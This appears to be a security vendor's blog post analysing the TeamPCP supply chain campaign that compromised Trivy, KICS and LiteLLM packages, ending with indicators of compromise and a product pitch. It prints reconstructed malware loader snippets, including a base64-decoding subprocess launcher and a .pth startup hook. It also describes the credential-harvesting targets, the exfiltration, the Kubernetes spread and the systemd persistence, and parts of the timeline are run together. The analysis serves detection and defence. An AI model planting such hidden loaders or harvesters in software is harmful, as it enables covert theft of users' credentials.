.png)

TL;DR: A single compromised CI/CD token cascaded into the largest multi-ecosystem supply chain attack of 2026 - hitting GitHub Actions, Docker Hub, npm, OpenVSX, and PyPI in under a week. LiteLLM - one of the most widely deployed AI/ML packages in cloud environments - was among the targets. Here's the full attack chain, what the malware does, and how to detect it in your cloud infrastructure.
TL;DR: A single compromised CI/CD token cascaded into the largest multi-ecosystem supply chain attack of 2026 - hitting GitHub Actions, Docker Hub, npm, OpenVSX, and PyPI in under a week. LiteLLM - one of the most widely deployed AI/ML packages in cloud environments - was among the targets. Here's the full attack chain, what the malware does, and how to detect it in your cloud infrastructure.
TeamPCP isn't your typical smash-and-grab threat actor. Their campaign follows a deliberate pattern: compromise one tool, harvest its credentials, use those credentials to compromise the next tool. Each link in the chain unlocks access to a new ecosystem.
The timeline tells the story:
v0.69.4 tag using access retained from an earlier, incompletely contained pull_request_target incident. Malicious binaries published to GitHub Releases, Docker Hub, GHCR, ECR. 75 of 76 trivy-action tags force-pushedkics-github-action. Hours later, attacker publishes Trivy 0.69.5 and 0.69.6 to Docker Hub - proving they still have access post-disclosureast-results 2.53.0, cx-dev-assist 1.7.0) published. 35 KICS GitHub Action tags hijacked. ast-github-action also compromisedA critical detail: Aqua Security's containment after the March 20 disclosure was incomplete. The attacker retained access and continued publishing malicious artifacts on March 22 - running parallel campaigns against both Aqua and Checkmarx infrastructure simultaneously.
The Trivy-to-LiteLLM connection: The backdoored Trivy binary scraped /proc/<pid>/mem from the GitHub Actions Runner.Worker process, searching for {"value":"<secret>","isSecret":true} patterns. It also swept 50+ filesystem paths for credentials. LiteLLM's CI/CD pipeline used unpinned Trivy installation (sudo apt-get install trivy) without checksum verification - when the backdoored Trivy ran in LiteLLM's build environment, it harvested the PyPI publishing token.
Each compromised environment yields credentials that unlock the next target. This isn't a supply chain attack. It's a supply chain campaign.
The full campaign spans five ecosystems - GitHub Actions, Docker Hub, npm, OpenVSX, and PyPI. In this post, we'll focus on the LiteLLM compromise as the most impactful example to understand TeamPCP's TTPs in detail. The IOCs section at the end covers the full campaign.
LiteLLM is a popular Python proxy that provides a unified API across LLM providers - OpenAI, Anthropic, Azure, Bedrock, etc. It's one of the most widely deployed AI/ML infrastructure packages in cloud environments today. That makes it an extremely high-value target.
The first malicious version injected 12 lines into litellm/proxy/proxy_server.py (lines 128–139), between the REALTIME_REQUEST_SCOPE_TEMPLATE dictionary and the showwarning function.
Key detail: The corresponding GitHub commit does NOT contain these lines. The injection happened during or after the wheel build process - examining the source repo alone won't reveal the backdoor.
Line 130 contained a base64-encoded payload of 34,460 characters, with commented-out earlier iterations on lines 131–132 (three developmental stages visible in the code - the attacker was iterating).
# Injected into proxy_server.py (reconstructed)
import base64, subprocess, sys, tempfile
_payload = "aW1wb3J0IG9z..." # 34,460 chars, double base64-encoded
_decoded = base64.b64decode(base64.b64decode(_payload))
with tempfile.NamedTemporaryFile(suffix='.py', delete=False) as f:
f.write(_decoded)
_path = f.name
subprocess.run([sys.executable, _path])The payload uses subprocess.run() instead of exec() - a deliberate choice to evade runtime detection tools that hook Python's built-in execution functions.
Trigger: Executes when litellm --proxy is run or when litellm.proxy.proxy_server is imported.
Hours later, TeamPCP published v1.82.8 with an additional attack vector: a litellm_init.pth file included in the package wheel.
Per Python documentation, executable lines in .pth files run during interpreter startup. This means the payload fires on any Python process invocation - not just LiteLLM imports. Your test runner, your Jupyter notebook, your FastAPI server, your deployment scripts - all compromised the moment this package is installed.
# litellm_init.pth - fires on ANY Python process
import base64,subprocess,sys,tempfile;exec(base64.b64decode(base64.b64decode("aW1wb3J0IG9z...")))The decoded payload is a comprehensive credential harvester. It collects everything it can reach:
Credential Targets:
├── Cloud Providers
│ ├── AWS: credentials, config, IMDS tokens, Secrets Manager, SSM Parameter Store
│ ├── GCP: gcloud configs, application default credentials
│ └── Azure: configs, environment variables
├── Kubernetes
│ ├── kubeconfig
│ ├── Service account tokens
│ └── ALL secrets across ALL namespaces
├── CI/CD & IaC
│ ├── Terraform configs
│ ├── GitLab CI, Travis, Jenkins, Ansible, Helm
│ └── npm tokens, Vault tokens
├── SSH & Git
│ ├── All SSH keys (RSA, Ed25519, ECDSA, DSA)
│ ├── authorized_keys, host keys
│ └── .git-credentials, .gitconfig
├── Database Credentials
│ ├── PostgreSQL, MySQL, MongoDB, Redis configs
│ └── Connection strings from env vars
├── Docker
│ └── config.json (registry credentials)
├── Secrets & Auth
│ ├── .env files (all variants, multiple directories)
│ ├── TLS private keys
│ ├── LDAP configs
│ └── Shell histories (bash, zsh, MySQL, Redis)
├── Crypto Wallets
│ └── Bitcoin, Ethereum, Solana, Cardano configs
└── Webhooks
└── Slack/Discord webhook URLsCollected data is encrypted using AES-256-CBC with a session key, which is itself encrypted with an embedded RSA-4096 public key (envelope encryption). The archive is exfiltrated as tpcp.tar.gz via HTTP with the header X-Filename: tpcp.tar.gz.
If a Kubernetes service account token is detected, the malware:
kube-system namespacenode-setup-*kamikaze (destructive) and provisioner (persistent backdoor)/root/.config/sysmon/ on each nodeThe malware installs a systemd user service for long-term access:
Persistence Path:
Script: ~/.config/sysmon/sysmon.py
Service: ~/.config/systemd/user/sysmon.service
Name: "System Telemetry Service"
Beacon: Polls C2 every ~3000 seconds (~50 minutes)
Staging: Downloads payloads to /tmp/pglog
State: Tracks beacon state in /tmp/.pg_stateThis runs independently of the original malicious package - removing LiteLLM does NOT remove the backdoor.
Stream.Security's CloudTwin™ combines runtime visibility with infrastructure context to detect each phase of this attack:
Phase 1 - Malicious Package Execution Stream's eBPF runtime sensors detect the process chain: python → subprocess → p.py - flagging unexpected child process spawning from known application processes. The behavioral baseline knows what processes your LiteLLM proxy normally spawns. A random p.py is an immediate anomaly.
Phase 2 - Credential Harvesting Configuration change detection identifies mass file access patterns across sensitive paths. When a single process reads SSH keys, AWS credentials, Kubernetes configs, and .env files within seconds, Stream correlates these into a single credential harvesting storyline - not 47 individual low-priority file access events.
Phase 3 - Kubernetes Lateral Movement Stream's real-time Kubernetes monitoring detects privileged pod creation in kube-system with unusual naming patterns. The CloudTwin context engine links this back to the compromised process - connecting the supply chain compromise to the lateral movement in a single investigation timeline.
Phase 4 - Persistence eBPF sensors detect new systemd service installation (sysmon.service) and the periodic beaconing pattern (~50-minute intervals to checkmarx[.]zone), flagging a persistent backdoor that would survive package removal or container restart.
Unified Storyline StreamMate AI ties it all together - initial execution → credential theft → lateral movement → persistence - into a single automated storyline. Instead of chasing individual alerts across different tools, the investigation starts with the full attack chain already mapped.
The real takeaway from TeamPCP isn't a list of IOCs to block - it's that you need runtime anomaly detection that catches novel threats before the advisory drops. Every supply chain attack follows the same pattern: by the time IOCs are published, the damage window has closed. If your security posture depends on applying custom indicators after each worldwide incident, you're always responding to the last attack, not the current one.
If you don't yet have behavioral anomaly detection in place, here are the immediate steps specific to this campaign:
sysmon.service, sysmon.py, /tmp/pglog, /tmp/.pg_state, and node-setup-* pods. The backdoor operates independently of the malicious package.models.litellm[.]cloud, checkmarx[.]zone, aquasecurtiy[.]org, and the IP addresses listed above.sudo apt-get install trivy without version pinning or checksum verification. If your build pipeline installs tools at runtime, you're exposed to the same pattern..pth technique. v1.82.8's use of Python .pth files for code execution is a technique that most EDR and container security tools do not monitor. Add *.pth file creation/modification in site-packages directories to your file integrity monitoring.TeamPCP's campaign is a case study in cascading supply chain attacks. The pattern is clear: compromise one tool, harvest credentials, use those credentials to compromise the next tool. In under a week, they moved from a single incompletely-contained GitHub Actions incident to compromising packages across five ecosystems.
A few things stand out:
The .pth technique is underappreciated. v1.82.8's use of Python .pth files for code execution means the payload fires on any Python process - not just LiteLLM imports. No import statement to flag, no function call to intercept. This is worth adding to your threat models regardless of whether you use LiteLLM.
Build pipelines are the soft underbelly. LiteLLM was compromised because its CI/CD ran sudo apt-get install trivywithout version pinning or checksum verification. One unpinned dependency in a build pipeline turned a Trivy compromise into a PyPI compromise. How many of your CI/CD steps install tools at runtime from external registries?
Incomplete containment is worse than no containment. Aqua Security's partial response after March 20 gave the attacker a window to pivot while defenders assumed the incident was handled. The attacker published new malicious Trivy images two days after disclosure.
This campaign is almost certainly not over. The credentials harvested from each compromised environment unlock future targets. If you run LiteLLM, Trivy, or any of the affected packages in your build pipelines - assume breach and verify.
The TeamPCP campaign spans five ecosystems. This blog focuses on LiteLLM, but the IOCs below cover the full campaign - if you use Trivy, KICS GitHub Actions, any of the affected npm packages, or Telnyx, check these as well.
Attribution: TeamPCP (also tracked as PCPcat, Persy_PCP, ShellForce, DeadCatx3). Active since December 2025. Telegram: @Persy_PCP, @teampcp. The same RSA-4096 public key is used across all operations - Trivy, KICS, LiteLLM - confirming a single actor.

# LiteLLM campaign
models.litellm[.]cloud # LiteLLM exfiltration (registered Mar 23 via Spaceship/DEMENIN)
# KICS / Checkmarx campaign
checkmarx[.]zone # C2 + payload polling (/raw, /static/, /vsx paths)
83.142.209.11 # checkmarx[.]zone infrastructure
# Trivy campaign
scan.aquasecurtiy[.]org # Trivy exfiltration (45.148.10.212, typosquat)
recv.hackmoltrepeat[.]com # PAT exfiltration from Trivy
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io # ICP canister C2 (first documented use in supply chain malware)
plug-tab-protective-relay.trycloudflare[.]com # Cloudflare Tunnel C2
# Telnyx campaign
83.142.209.203 # Steganographic WAV payload server
# Other related
46.151.182.203 # Related infrastructureC2 kill switch: the sysmon.py backdoor aborts if the C2 response contains "youtube". During the Trivy phase, the C2 returned a RickRoll. By the KICS phase, it switched to Queen's "The Show Must Go On."
# LiteLLM-specific
litellm_init.pth # Python startup hook (in site-packages, v1.82.8)
# Shared persistence (all campaigns)
~/.config/sysmon/sysmon.py # Persistence script
~/.config/systemd/user/sysmon.service # Systemd backdoor ("System Telemetry Service")
/root/.config/sysmon/ # K8s node persistence
# npm CanisterWorm variant
~/.local/share/pgmon/service.py # npm backdoor persistence
~/.config/systemd/user/pgmon.service # npm systemd unit
# Staging / state (all campaigns - disguised as PostgreSQL artifacts)
/tmp/pglog # Downloaded second-stage payload
/tmp/.pg_state # Beacon state file
session.key, payload.enc # Temp encryption artifacts
session.key.enc, tpcp.tar.gz # Exfiltration archive
node-setup-{node_name} # Privileged pods in kube-system namespace
# Container names: kamikaze, provisioner, setup
# Image: alpine:latest with host filesystem mount
host-provisioner-* # DaemonSets deployed by npm CanisterWorm variant
LiteLLM:

OpenVSX extensions:

Stream.Security delivers the only cloud detection and response solution that SecOps teams can trust. Born in the cloud, Stream’s Cloud Twin solution enables real-time cloud threat and exposure modeling to accelerate response in today’s highly dynamic cloud enterprise environments. By using the Stream Security platform, SecOps teams gain unparalleled visibility and can pinpoint exposures and threats by understanding the past, present, and future of their cloud infrastructure. The AI-assisted platform helps to determine attack paths and blast radius across all elements of the cloud infrastructure to eliminate gaps accelerate MTTR by streamlining investigations, reducing knowledge gaps while maximizing team productivity and limiting burnout.

.png)
